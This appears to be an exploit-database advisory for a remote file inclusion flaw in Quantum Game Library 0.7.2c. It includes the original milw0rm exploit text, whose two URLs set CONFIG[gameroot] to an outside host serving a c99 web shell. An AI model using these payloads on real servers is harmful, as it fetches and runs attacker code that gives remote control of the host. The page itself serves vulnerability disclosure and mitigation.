Quantum Game Library 0.7.2c Multiple Remote File Include

vendor:

Quantum Game Library

by:

RoMaNcYxHaCkEr

7.5

CVSS

HIGH

Multiple Remote File Include

CWE

Product Name: Quantum Game Library

Affected Version From: 0.7.2c

Affected Version To: 0.7.2c

Patch Exists: YES

Related CWE: N/A

CPE: a:quantum_star:quantum_game_library

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Quantum Game Library 0.7.2c Multiple Remote File Include

The vulnerability exists in the files server_request.php and smarty.inc.php in line 2 and 1 respectively. An attacker can exploit this vulnerability by sending a maliciously crafted HTTP request to the vulnerable server. This can allow the attacker to include a remote file containing arbitrary code, which can be executed on the vulnerable server.

Mitigation:

The vendor has released an update to address this vulnerability. Users are advised to update to the latest version of the software.

Source

Exploit-DB raw data:

# Name : Quantum Game Library 0.7.2c Multiple Remote File Include
# Download From : http://garr.dl.sourceforge.net/sourceforge/quantumstar/qsgen_0.7.2c.zip
# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]          
# Home Page :  WwW.4RxH.CoM  
+============================================================================+
# Vulne Code In Files server_request.php & smarty.inc.php In Line 2 & 1 :
require_once($CONFIG['gameroot']."/qlib/config/config.inc.php");
require_once($CONFIG['gameroot']."/qlib/smarty/libs/Smarty.class.php");
# Exploit :
http://www.4rxh.com/qsgen_0.7.2c/server_request.php?CONFIG[gameroot]=http://rxh.freehostia.com/shells/c99in.txt?
http://www.4rxh.com/qsgen_0.7.2c/qlib/smarty.inc.php?CONFIG[gameroot]=http://rxh.freehostia.com/shells/c99in.txt?
That,s It,s
Good Luck Everybody
+============================================================================+
# Greet To :
Tryag TeaM & All Members Of My Forum
# For Contact : RxH@HotMail.iT
# Note : Yesterday I Help You !! Tomorrow Fuck Me !!! Fuck All Snitches !!! But Do You Know What !!! That,s Is My Mistake
Best Wishes

# milw0rm.com [2008-02-22]